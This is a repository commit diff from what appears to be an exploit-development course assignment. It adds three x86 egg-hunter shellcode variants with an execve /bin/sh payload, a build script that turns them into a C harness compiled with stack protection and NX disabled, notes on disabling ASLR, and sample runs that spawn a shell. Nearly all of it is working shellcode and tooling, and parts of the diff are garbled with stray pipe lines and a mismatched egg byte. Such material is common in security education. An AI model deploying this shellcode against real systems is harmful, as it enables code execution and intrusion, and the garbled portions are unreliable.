Assignment 3 - major update
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11
exam3/access-noloop/NOTES
Normal file
11
exam3/access-noloop/NOTES
Normal file
@ -0,0 +1,11 @@
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NOTES
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no-stack-protector: disables GCC Stack-Smashing Protector (SSP), aka ProPolice
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execstack: disables Executable space protection (NX).
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Or Data Execution Prevention (DEP) on Windows,
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or Write XOR Execute (W^X) on BSD.
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CPU’s NX bit ("Never eXecute").
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To disalbe Address Space Layout Randomization (ASLR) when running binary
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setarch `arch` -R ./program
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27
exam3/access-noloop/USAGE
Normal file
27
exam3/access-noloop/USAGE
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@ -0,0 +1,27 @@
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USAGE
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1. Prepare your payload in payload.nasm file or you can directly specify it in make.sh script (PAYLOADCODE= variable)
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2. Compile the shellcode with a custom "egg" (must be 8 bytes in length)
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access-noloop$ ./make.sh "HereItIs"
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[I] Using custom EGG mark: HereItIs
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[+] Compiling payload.nasm ...
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[+] Compiling hunter.nasm ...
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[+] Extracting PAYLOAD code from payload ...
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[+] Adding EGG mark to PAYLOAD ...
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[+] Checking PAYLOAD code for NULLs ...
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[+] Extracting HUNTER code from hunter ...
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[+] Checking HUNTER code for NULLs ...
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[+] Compiling shellcode.c ...
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-rwx------. 1 arno arno 5260 Mar 28 13:01 ./shellcode
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[+] All done!
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3. Run the shellcode
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access-noloop$ ./shellcode
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Hunter Length: 66
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Payload Length: 36
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sh-4.1$
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87
exam3/access-noloop/hunter.nasm
Normal file
87
exam3/access-noloop/hunter.nasm
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@ -0,0 +1,87 @@
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; This program is free software: you can redistribute it and/or modify
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; it under the terms of the GNU General Public License as published by
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; the Free Software Foundation, either version 3 of the License, or
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; (at your option) any later version.
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;
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; This program is distributed in the hope that it will be useful,
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; but WITHOUT ANY WARRANTY; without even the implied warranty of
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; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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; GNU General Public License for more details.
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;
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; You should have received a copy of the GNU General Public License
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; along with this program. If not, see <http://www.gnu.org/licenses/>.
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;
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;
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; Filename: hunter.nasm *access +noloop modification
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; Author: Andrey Arapov <andrey.arapov@gmail.com>
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; 2013 March
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;
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;
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section .data
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egg1 equ "Egg-" ; DWORD Egg marker part1
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egg2 equ "Mark" ; DWORD Egg marker part2
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section .text
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global _start
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_start:
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; function Prologue
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push ebp
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mov ebp, esp
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; preserve registers and flags
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pushad
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pushfd
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; Used for cmp edx, esi below
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push 0xfffefff
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pop esi
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inc esi
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xor edx, edx ; Searching the whole memory
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; We will scan memory page-by-page and only accessible pages will be scanned for the Egg marker
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nextPage:
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; cmp edx, 0xffff000
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cmp edx, esi ; We don't want NULL bytes
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jz Return ; Egg Hunter will go for retirement (i.e. we simply prevent forever-loop in case if there is no Egg)
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or dx, 0xfff ; The same as "add dx, 4095" (PAGE_SIZE)
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nextAddr:
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inc edx ; Searching forward
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; Checking if memory is accessible
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push byte +0x21 ; 0x21 = 33 = __NR_access
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pop eax ; EAX points to 0x21
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lea ebx, [edx+0x8] ; next address to check
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xor ecx, ecx ; 0: mode = F_OK
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int 0x80
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cmp al, -14 ; -14 = EFAULT = Bad address. See /usr/include/asm-generic/errno-base.h
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jz nextPage
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; Searching for the Egg marker (in current page of memory which is accessible)
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cmp dword [edx], egg1
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jne nextAddr
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cmp dword [edx+0x4], egg2
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jne nextAddr
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lea ecx, [edx+0x8]
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jmp ecx
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Return:
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; restore registers and stack
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popfd
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popad
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; function Epilogue
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mov esp, ebp
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pop ebp
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ret
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132
exam3/access-noloop/make.sh
Executable file
132
exam3/access-noloop/make.sh
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#!/usr/bin/env sh
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#
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# USAGE
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# ./make.sh [Egg-Mark]
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#
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# NOTE
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# Egg-Mark must be a plaintext with 8 bytes in length
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# If Egg-Mark was not specified, the default one will be used.
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#
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# To specify a custom payload, simply modify the code of payload.nasm file.
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# Alternativly, you can modify PAYLOADCODE= variable down below the code.
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#
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ARG1=$1
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if [ -z "$ARG1" ]; then
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echo " [I] Argument not specified. Using default EGG mark."
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ARG1="Egg-Mark";
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elif ! [[ `expr length $ARG1` -ge 8 && `expr length $ARG1` -le 8 ]]; then
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echo " [E] Custom EGG mark must be 8 bytes in length! Exiting."
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exit 1;
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else
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echo " [I] Using custom EGG mark: "$ARG1
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fi
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DEFAULTEGG=($(echo -n "Egg-Mark" | sed -e 's/\(....\)/\1\n/g')) # set in hunter.nasm
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EGGMARK=$ARG1
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NEWEGG=($(echo -n $EGGMARK | sed -e 's/\(....\)/\1\n/g'))
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# Uncomment to save EGGMARK in HEX
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EGGMARK=$(echo -n $ARG1 | od -A n -t x1 |sed 's/ /\\x/g')
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# Cleanup
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rm -f shellcode payload.o payload hunter.o hunter
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echo " [+] Compiling payload.nasm ..."
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nasm -f elf32 -o payload.o payload.nasm
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ld -m elf_i386 -o payload payload.o
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echo " [+] Compiling hunter.nasm ..."
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nasm -f elf32 -o hunter.o hunter.nasm
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ld -m elf_i386 -o hunter hunter.o
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echo " [+] Extracting PAYLOAD code from payload ..."
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PAYLOADCODE=$(objdump -d ./payload |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s)
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echo " [+] Adding EGG mark to PAYLOAD ..."
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FULL_PAYLOADCODE=$(echo -n ${EGGMARK}${PAYLOADCODE}|sed 's/^/"/' |sed 's/$/"/g')
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echo " [+] Checking PAYLOAD code for NULLs ..."
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if [[ $FULL_PAYLOADCODE == *00* ]]; then
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echo " [E] Your PAYLOAD code contains 00 (NULL) ! Exiting."
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exit 1
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fi
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echo " [+] Extracting HUNTER code from hunter ..."
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HUNTERCODE=$(objdump -d ./hunter |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s|sed 's/^/"/' |sed 's/$/"/g')
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# For debugging only
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#echo ${DEFAULTEGG[0]}
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#echo ${DEFAULTEGG[1]}
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#echo ${NEWEGG[0]}
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#echo ${NEWEGG[1]}
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# Preparing Default egg to HEX form in order to replace it with a New egg
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DEFEGG1=$(echo -n ${DEFAULTEGG[0]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
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DEFEGG2=$(echo -n ${DEFAULTEGG[1]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
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# Uncomment to save new EGGMARK in HEX format
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NEWEGG1=$(echo -n ${NEWEGG[0]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
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NEWEGG2=$(echo -n ${NEWEGG[1]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
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# Uncomment to save new EGGMARK in Plaintext format
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#NEWEGG1=$(echo -n ${NEWEGG[0]})
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#NEWEGG2=$(echo -n ${NEWEGG[1]})
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FULL_HUNTERCODE=$(echo -n $HUNTERCODE |sed 's/'$DEFEGG1'/'$NEWEGG1'/g'| sed 's/'$DEFEGG2'/'$NEWEGG2'/g')
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echo " [+] Checking HUNTER code for NULLs ..."
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if [[ $FULL_HUNTERCODE == *00* ]]; then
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echo " [E] Your HUNTER code contains 00 (NULL) ! Exiting."
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exit 1
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fi
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# Uncomment to see what will is replaced (default egg with a new one)
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#echo $DEFEGG1
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#echo $DEFEGG2
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#echo $NEWEGG1
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#echo $NEWEGG2
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#echo $HUNTERCODE
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#echo $FULL_HUNTERCODE
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cat > shellcode.c << EOF
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#include <stdio.h>
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#include <string.h>
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unsigned char hunter[] = \
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$FULL_HUNTERCODE;
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unsigned char garbage1[] = \
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"Just some garbage here...";
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unsigned char payload[] = \
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$FULL_PAYLOADCODE;
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unsigned char garbage2[] = \
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"And some garbage there...";
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main()
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{
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printf("Hunter Length: %d\n", strlen(hunter));
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printf("Payload Length: %d\n", strlen(payload));
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int (*ret)() = (int(*)())hunter;
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ret();
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printf("NO LOOP!\n");
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}
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EOF
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echo " [+] Compiling shellcode.c ..."
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gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
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# Cleanup
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rm -f payload.o payload hunter.o hunter
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ls -la ./shellcode
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echo " [+] All done!"
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44
exam3/access-noloop/payload.nasm
Normal file
44
exam3/access-noloop/payload.nasm
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@ -0,0 +1,44 @@
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; This program is free software: you can redistribute it and/or modify
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; it under the terms of the GNU General Public License as published by
|
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; the Free Software Foundation, either version 3 of the License, or
|
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; (at your option) any later version.
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;
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; This program is distributed in the hope that it will be useful,
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; but WITHOUT ANY WARRANTY; without even the implied warranty of
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; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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; GNU General Public License for more details.
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;
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; You should have received a copy of the GNU General Public License
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; along with this program. If not, see <http://www.gnu.org/licenses/>.
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; Filename: payload-execve-stack.nasm
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; Author: Andrey Arapov <andrey.arapov@gmail.com>
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; 2013 March
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global _start
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section .text
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_start:
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; EAX
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xor eax, eax
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mov al, 11 ; execve syscall
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; EBX
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xor edx, edx
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push edx ; NULL termination of '//bin/sh' string
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push 0x68732f6e ; '//bin/sh' in reverse
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push 0x69622f2f ; beginning of '//bin/sh' string is here
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mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
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; ECX
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push edx ; NULL termination of a stack
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push ebx ; load our '//bin/sh' on a stack
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mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
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; EDX
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push edx ; NULL terminator
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mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
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int 0x80
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20
exam3/access-noloop/shellcode.c
Normal file
20
exam3/access-noloop/shellcode.c
Normal file
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#include <stdio.h>
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#include <string.h>
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unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\x31\xd2\x39\xf2\x74\x2a\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\x81\x3a\x48\x65\x72\x65\x75\xe9\x81\x7a\x04\x49\x74\x49\x73\x75\xe0\x8d\x4a\x08\xff\xe1\x9d\x61\x89\xec\x5d\xc3";
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unsigned char garbage1[] = "Just some garbage here...";
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unsigned char payload[] = "\x12\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
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unsigned char garbage2[] = "And some garbage there...";
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main()
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{
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printf("Hunter Length: %d\n", strlen(hunter));
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printf("Payload Length: %d\n", strlen(payload));
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int (*ret)() = (int(*)())hunter;
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ret();
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printf("NO LOOP!\n");
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}
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11
exam3/access-scasd-noloop/NOTES
Normal file
11
exam3/access-scasd-noloop/NOTES
Normal file
@ -0,0 +1,11 @@
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NOTES
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||||
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no-stack-protector: disables GCC Stack-Smashing Protector (SSP), aka ProPolice
|
||||
|
||||
execstack: disables Executable space protection (NX).
|
||||
Or Data Execution Prevention (DEP) on Windows,
|
||||
or Write XOR Execute (W^X) on BSD.
|
||||
CPU’s NX bit ("Never eXecute").
|
||||
|
||||
To disalbe Address Space Layout Randomization (ASLR) when running binary
|
||||
setarch `arch` -R ./program
|
||||
27
exam3/access-scasd-noloop/USAGE
Normal file
27
exam3/access-scasd-noloop/USAGE
Normal file
@ -0,0 +1,27 @@
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USAGE
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|
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1. Prepare your payload in payload.nasm file or you can directly specify it in make.sh script (PAYLOADCODE= variable)
|
||||
|
||||
|
||||
2. Compile the shellcode with a custom "egg" (must be 8 bytes in length)
|
||||
|
||||
access-scasd-noloop$ ./make.sh "HereItIs"
|
||||
[I] Using custom EGG mark: HereItIs
|
||||
[+] Compiling payload.nasm ...
|
||||
[+] Compiling hunter.nasm ...
|
||||
[+] Extracting PAYLOAD code from payload ...
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||||
[+] Adding EGG mark to PAYLOAD ...
|
||||
[+] Checking PAYLOAD code for NULLs ...
|
||||
[+] Extracting HUNTER code from hunter ...
|
||||
[+] Checking HUNTER code for NULLs ...
|
||||
[+] Compiling shellcode.c ...
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||||
-rwx------. 1 arno arno 5260 Mar 28 13:14 ./shellcode
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[+] All done!
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||||
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3. Run the shellcode
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access-scasd-noloop$ ./shellcode
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Hunter Length: 68
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Payload Length: 36
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sh-4.1$
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92
exam3/access-scasd-noloop/hunter.nasm
Normal file
92
exam3/access-scasd-noloop/hunter.nasm
Normal file
@ -0,0 +1,92 @@
|
||||
; This program is free software: you can redistribute it and/or modify
|
||||
; it under the terms of the GNU General Public License as published by
|
||||
; the Free Software Foundation, either version 3 of the License, or
|
||||
; (at your option) any later version.
|
||||
;
|
||||
; This program is distributed in the hope that it will be useful,
|
||||
; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
; GNU General Public License for more details.
|
||||
;
|
||||
; You should have received a copy of the GNU General Public License
|
||||
; along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
;
|
||||
;
|
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; Filename: hunter.nasm *access-scasd +noloop modification
|
||||
; Author: Andrey Arapov <andrey.arapov@gmail.com>
|
||||
; 2013 March
|
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;
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;
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section .data
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egg1 equ "Egg-" ; DWORD Egg marker part1
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egg2 equ "Mark" ; DWORD Egg marker part2
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section .text
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global _start
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_start:
|
||||
; function Prologue
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
|
||||
; preserve registers and flags
|
||||
pushad
|
||||
pushfd
|
||||
|
||||
|
||||
; Used for cmp edx, esi below
|
||||
push 0xfffefff
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pop esi
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inc esi
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cld ; clear direction flag (DF) to use scasd properly
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xor edx, edx ; Searching the whole memory
|
||||
|
||||
; We will scan memory page-by-page and only accessible pages will be scanned for the Egg marker
|
||||
nextPage:
|
||||
; cmp edx, 0xffff000
|
||||
cmp edx, esi ; We don't want NULL bytes
|
||||
jz Return ; Egg Hunter will go for retirement (i.e. we simply prevent forever-loop in case if there is no Egg)
|
||||
|
||||
or dx, 0xfff ; The same as "add dx, 4095" (PAGE_SIZE)
|
||||
|
||||
nextAddr:
|
||||
inc edx ; Searching forward
|
||||
|
||||
; Checking if memory is accessible
|
||||
push byte +0x21 ; 0x21 = 33 = __NR_access
|
||||
pop eax ; EAX points to 0x21
|
||||
lea ebx, [edx+0x4] ; address to check
|
||||
xor ecx, ecx ; 0: mode = F_OK
|
||||
int 0x80
|
||||
cmp al, -14 ; -14 = EFAULT = Bad address. See /usr/include/asm-generic/errno-base.h
|
||||
jz nextPage
|
||||
|
||||
|
||||
; Searching for the Egg marker (in current page of memory which is accessible)
|
||||
mov eax, egg1
|
||||
mov edi, edx
|
||||
scasd ; if EAX == EDI, then sets ZF and returns EDI which has address of = edx+0x4
|
||||
jnz nextAddr
|
||||
|
||||
mov eax, egg2
|
||||
lea edi, [edx+4] ; address to check
|
||||
scasd ; if EAX == EDI, then sets ZF and returns edi which has address of = edx+0x4
|
||||
jnz nextAddr
|
||||
jmp edi
|
||||
|
||||
Return:
|
||||
; restore registers and stack
|
||||
popfd
|
||||
popad
|
||||
|
||||
; function Epilogue
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
|
||||
ret
|
||||
|
||||
132
exam3/access-scasd-noloop/make.sh
Executable file
132
exam3/access-scasd-noloop/make.sh
Executable file
@ -0,0 +1,132 @@
|
||||
#!/usr/bin/env sh
|
||||
#
|
||||
# USAGE
|
||||
# ./make.sh [Egg-Mark]
|
||||
#
|
||||
# NOTE
|
||||
# Egg-Mark must be a plaintext with 8 bytes in length
|
||||
# If Egg-Mark was not specified, the default one will be used.
|
||||
#
|
||||
# To specify a custom payload, simply modify the code of payload.nasm file.
|
||||
# Alternativly, you can modify PAYLOADCODE= variable down below the code.
|
||||
#
|
||||
|
||||
ARG1=$1
|
||||
|
||||
if [ -z "$ARG1" ]; then
|
||||
echo " [I] Argument not specified. Using default EGG mark."
|
||||
ARG1="Egg-Mark";
|
||||
elif ! [[ `expr length $ARG1` -ge 8 && `expr length $ARG1` -le 8 ]]; then
|
||||
echo " [E] Custom EGG mark must be 8 bytes in length! Exiting."
|
||||
exit 1;
|
||||
else
|
||||
echo " [I] Using custom EGG mark: "$ARG1
|
||||
fi
|
||||
|
||||
|
||||
DEFAULTEGG=($(echo -n "Egg-Mark" | sed -e 's/\(....\)/\1\n/g')) # set in hunter.nasm
|
||||
EGGMARK=$ARG1
|
||||
NEWEGG=($(echo -n $EGGMARK | sed -e 's/\(....\)/\1\n/g'))
|
||||
|
||||
# Uncomment to save EGGMARK in HEX
|
||||
EGGMARK=$(echo -n $ARG1 | od -A n -t x1 |sed 's/ /\\x/g')
|
||||
|
||||
# Cleanup
|
||||
rm -f shellcode payload.o payload hunter.o hunter
|
||||
|
||||
echo " [+] Compiling payload.nasm ..."
|
||||
nasm -f elf32 -o payload.o payload.nasm
|
||||
ld -m elf_i386 -o payload payload.o
|
||||
|
||||
echo " [+] Compiling hunter.nasm ..."
|
||||
nasm -f elf32 -o hunter.o hunter.nasm
|
||||
ld -m elf_i386 -o hunter hunter.o
|
||||
|
||||
echo " [+] Extracting PAYLOAD code from payload ..."
|
||||
PAYLOADCODE=$(objdump -d ./payload |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s)
|
||||
|
||||
echo " [+] Adding EGG mark to PAYLOAD ..."
|
||||
FULL_PAYLOADCODE=$(echo -n ${EGGMARK}${PAYLOADCODE}|sed 's/^/"/' |sed 's/$/"/g')
|
||||
|
||||
echo " [+] Checking PAYLOAD code for NULLs ..."
|
||||
if [[ $FULL_PAYLOADCODE == *00* ]]; then
|
||||
echo " [E] Your PAYLOAD code contains 00 (NULL) ! Exiting."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
echo " [+] Extracting HUNTER code from hunter ..."
|
||||
HUNTERCODE=$(objdump -d ./hunter |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s|sed 's/^/"/' |sed 's/$/"/g')
|
||||
|
||||
# For debugging only
|
||||
#echo ${DEFAULTEGG[0]}
|
||||
#echo ${DEFAULTEGG[1]}
|
||||
#echo ${NEWEGG[0]}
|
||||
#echo ${NEWEGG[1]}
|
||||
|
||||
# Preparing Default egg to HEX form in order to replace it with a New egg
|
||||
DEFEGG1=$(echo -n ${DEFAULTEGG[0]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
DEFEGG2=$(echo -n ${DEFAULTEGG[1]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
|
||||
# Uncomment to save new EGGMARK in HEX format
|
||||
NEWEGG1=$(echo -n ${NEWEGG[0]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
NEWEGG2=$(echo -n ${NEWEGG[1]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
|
||||
|
||||
# Uncomment to save new EGGMARK in Plaintext format
|
||||
#NEWEGG1=$(echo -n ${NEWEGG[0]})
|
||||
#NEWEGG2=$(echo -n ${NEWEGG[1]})
|
||||
|
||||
|
||||
FULL_HUNTERCODE=$(echo -n $HUNTERCODE |sed 's/'$DEFEGG1'/'$NEWEGG1'/g'| sed 's/'$DEFEGG2'/'$NEWEGG2'/g')
|
||||
|
||||
echo " [+] Checking HUNTER code for NULLs ..."
|
||||
if [[ $FULL_HUNTERCODE == *00* ]]; then
|
||||
echo " [E] Your HUNTER code contains 00 (NULL) ! Exiting."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
# Uncomment to see what will is replaced (default egg with a new one)
|
||||
#echo $DEFEGG1
|
||||
#echo $DEFEGG2
|
||||
#echo $NEWEGG1
|
||||
#echo $NEWEGG2
|
||||
#echo $HUNTERCODE
|
||||
#echo $FULL_HUNTERCODE
|
||||
|
||||
cat > shellcode.c << EOF
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
unsigned char hunter[] = \
|
||||
$FULL_HUNTERCODE;
|
||||
|
||||
unsigned char garbage1[] = \
|
||||
"Just some garbage here...";
|
||||
|
||||
unsigned char payload[] = \
|
||||
$FULL_PAYLOADCODE;
|
||||
|
||||
unsigned char garbage2[] = \
|
||||
"And some garbage there...";
|
||||
|
||||
main()
|
||||
{
|
||||
printf("Hunter Length: %d\n", strlen(hunter));
|
||||
printf("Payload Length: %d\n", strlen(payload));
|
||||
int (*ret)() = (int(*)())hunter;
|
||||
ret();
|
||||
|
||||
printf("NO LOOP!\n");
|
||||
}
|
||||
EOF
|
||||
|
||||
echo " [+] Compiling shellcode.c ..."
|
||||
gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
|
||||
|
||||
# Cleanup
|
||||
rm -f payload.o payload hunter.o hunter
|
||||
|
||||
ls -la ./shellcode
|
||||
|
||||
echo " [+] All done!"
|
||||
44
exam3/access-scasd-noloop/payload.nasm
Normal file
44
exam3/access-scasd-noloop/payload.nasm
Normal file
@ -0,0 +1,44 @@
|
||||
; This program is free software: you can redistribute it and/or modify
|
||||
; it under the terms of the GNU General Public License as published by
|
||||
; the Free Software Foundation, either version 3 of the License, or
|
||||
; (at your option) any later version.
|
||||
;
|
||||
; This program is distributed in the hope that it will be useful,
|
||||
; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
; GNU General Public License for more details.
|
||||
;
|
||||
; You should have received a copy of the GNU General Public License
|
||||
; along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
; Filename: payload-execve-stack.nasm
|
||||
; Author: Andrey Arapov <andrey.arapov@gmail.com>
|
||||
; 2013 March
|
||||
|
||||
global _start
|
||||
|
||||
|
||||
section .text
|
||||
|
||||
_start:
|
||||
; EAX
|
||||
xor eax, eax
|
||||
mov al, 11 ; execve syscall
|
||||
|
||||
; EBX
|
||||
xor edx, edx
|
||||
push edx ; NULL termination of '//bin/sh' string
|
||||
push 0x68732f6e ; '//bin/sh' in reverse
|
||||
push 0x69622f2f ; beginning of '//bin/sh' string is here
|
||||
mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
|
||||
|
||||
; ECX
|
||||
push edx ; NULL termination of a stack
|
||||
push ebx ; load our '//bin/sh' on a stack
|
||||
mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
|
||||
|
||||
; EDX
|
||||
push edx ; NULL terminator
|
||||
mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
|
||||
int 0x80
|
||||
|
||||
20
exam3/access-scasd-noloop/shellcode.c
Normal file
20
exam3/access-scasd-noloop/shellcode.c
Normal file
@ -0,0 +1,20 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\xfc\x31\xd2\x39\xf2\x74\x2b\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\xb8\x48\x65\x72\x65\x89\xd7\xaf\x75\xe7\xb8\x49\x74\x49\x73\x8d\x7a\x04\xaf\x75\xdc\xff\xe7\x9d\x61\x89\xec\x5d\xc3";
|
||||
|
||||
unsigned char garbage1[] = "Just some garbage here...";
|
||||
|
||||
unsigned char payload[] = "\x48\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
|
||||
|
||||
unsigned char garbage2[] = "And some garbage there...";
|
||||
|
||||
main()
|
||||
{
|
||||
printf("Hunter Length: %d\n", strlen(hunter));
|
||||
printf("Payload Length: %d\n", strlen(payload));
|
||||
int (*ret)() = (int(*)())hunter;
|
||||
ret();
|
||||
|
||||
printf("NO LOOP!\n");
|
||||
}
|
||||
11
exam3/access-scasd/NOTES
Normal file
11
exam3/access-scasd/NOTES
Normal file
@ -0,0 +1,11 @@
|
||||
NOTES
|
||||
|
||||
no-stack-protector: disables GCC Stack-Smashing Protector (SSP), aka ProPolice
|
||||
|
||||
execstack: disables Executable space protection (NX).
|
||||
Or Data Execution Prevention (DEP) on Windows,
|
||||
or Write XOR Execute (W^X) on BSD.
|
||||
CPU’s NX bit ("Never eXecute").
|
||||
|
||||
To disalbe Address Space Layout Randomization (ASLR) when running binary
|
||||
setarch `arch` -R ./program
|
||||
27
exam3/access-scasd/USAGE
Normal file
27
exam3/access-scasd/USAGE
Normal file
@ -0,0 +1,27 @@
|
||||
USAGE
|
||||
|
||||
1. Prepare your payload in payload.nasm file or you can directly specify it in make.sh script (PAYLOADCODE= variable)
|
||||
|
||||
|
||||
2. Compile the shellcode with a custom "egg" (must be 8 bytes in length)
|
||||
|
||||
access-scasd$ ./make.sh "MyEgg123"
|
||||
[I] Using custom EGG mark: MyEgg123
|
||||
[+] Compiling payload.nasm ...
|
||||
[+] Compiling hunter.nasm ...
|
||||
[+] Extracting PAYLOAD code from payload ...
|
||||
[+] Adding EGG mark to PAYLOAD ...
|
||||
[+] Checking PAYLOAD code for NULLs ...
|
||||
[+] Extracting HUNTER code from hunter ...
|
||||
[+] Checking HUNTER code for NULLs ...
|
||||
[+] Compiling shellcode.c ...
|
||||
-rwx------. 1 arno arno 5132 Mar 27 23:37 ./shellcode
|
||||
[+] All done!
|
||||
|
||||
|
||||
3. Run the shellcode
|
||||
|
||||
access-scasd$ ./shellcode
|
||||
Hunter Length: 46
|
||||
Payload Length: 36
|
||||
sh-4.1$
|
||||
61
exam3/access-scasd/hunter.nasm
Normal file
61
exam3/access-scasd/hunter.nasm
Normal file
@ -0,0 +1,61 @@
|
||||
; This program is free software: you can redistribute it and/or modify
|
||||
; it under the terms of the GNU General Public License as published by
|
||||
; the Free Software Foundation, either version 3 of the License, or
|
||||
; (at your option) any later version.
|
||||
;
|
||||
; This program is distributed in the hope that it will be useful,
|
||||
; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
; GNU General Public License for more details.
|
||||
;
|
||||
; You should have received a copy of the GNU General Public License
|
||||
; along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
;
|
||||
;
|
||||
; Filename: hunter.nasm *access-scasd modification
|
||||
; Author: Andrey Arapov <andrey.arapov@gmail.com>
|
||||
; 2013 March
|
||||
;
|
||||
;
|
||||
|
||||
section .data
|
||||
egg1 equ "Egg-" ; DWORD Egg marker part1
|
||||
egg2 equ "Mark" ; DWORD Egg marker part2
|
||||
|
||||
|
||||
section .text
|
||||
global _start
|
||||
|
||||
|
||||
_start:
|
||||
cld ; clear direction flag (DF) to use scasd properly
|
||||
xor edx, edx ; Searching the whole memory
|
||||
|
||||
; We will scan memory page-by-page and only accessible pages will be scanned for the Egg marker
|
||||
nextPage:
|
||||
or dx, 0xfff ; The same as "add dx, 4095" (PAGE_SIZE)
|
||||
|
||||
nextAddr:
|
||||
inc edx ; Searching forward
|
||||
|
||||
; Checking if memory is accessible
|
||||
push byte +0x21 ; 0x21 = 33 = __NR_access
|
||||
pop eax ; EAX points to 0x21
|
||||
lea ebx, [edx+0x4] ; address to check
|
||||
xor ecx, ecx ; 0: mode = F_OK
|
||||
int 0x80
|
||||
cmp al, -14 ; -14 = EFAULT = Bad address. See /usr/include/asm-generic/errno-base.h
|
||||
jz nextPage
|
||||
|
||||
|
||||
; Searching for the Egg marker (in current page of memory which is accessible)
|
||||
mov eax, egg1
|
||||
mov edi, edx
|
||||
scasd ; if EAX == EDI, then sets ZF and returns EDI which has address of = edx+0x4
|
||||
jnz nextAddr
|
||||
|
||||
mov eax, egg2
|
||||
lea edi, [edx+4] ; address to check
|
||||
scasd ; if EAX == EDI, then sets ZF and returns edi which has address of = edx+0x4
|
||||
jnz nextAddr
|
||||
jmp edi
|
||||
130
exam3/access-scasd/make.sh
Executable file
130
exam3/access-scasd/make.sh
Executable file
@ -0,0 +1,130 @@
|
||||
#!/usr/bin/env sh
|
||||
#
|
||||
# USAGE
|
||||
# ./make.sh [Egg-Mark]
|
||||
#
|
||||
# NOTE
|
||||
# Egg-Mark must be a plaintext with 8 bytes in length
|
||||
# If Egg-Mark was not specified, the default one will be used.
|
||||
#
|
||||
# To specify a custom payload, simply modify the code of payload.nasm file.
|
||||
# Alternativly, you can modify PAYLOADCODE= variable down below the code.
|
||||
#
|
||||
|
||||
ARG1=$1
|
||||
|
||||
if [ -z "$ARG1" ]; then
|
||||
echo " [I] Argument not specified. Using default EGG mark."
|
||||
ARG1="Egg-Mark";
|
||||
elif ! [[ `expr length $ARG1` -ge 8 && `expr length $ARG1` -le 8 ]]; then
|
||||
echo " [E] Custom EGG mark must be 8 bytes in length! Exiting."
|
||||
exit 1;
|
||||
else
|
||||
echo " [I] Using custom EGG mark: "$ARG1
|
||||
fi
|
||||
|
||||
|
||||
DEFAULTEGG=($(echo -n "Egg-Mark" | sed -e 's/\(....\)/\1\n/g')) # set in hunter.nasm
|
||||
EGGMARK=$ARG1
|
||||
NEWEGG=($(echo -n $EGGMARK | sed -e 's/\(....\)/\1\n/g'))
|
||||
|
||||
# Uncomment to save EGGMARK in HEX
|
||||
EGGMARK=$(echo -n $ARG1 | od -A n -t x1 |sed 's/ /\\x/g')
|
||||
|
||||
# Cleanup
|
||||
rm -f shellcode payload.o payload hunter.o hunter
|
||||
|
||||
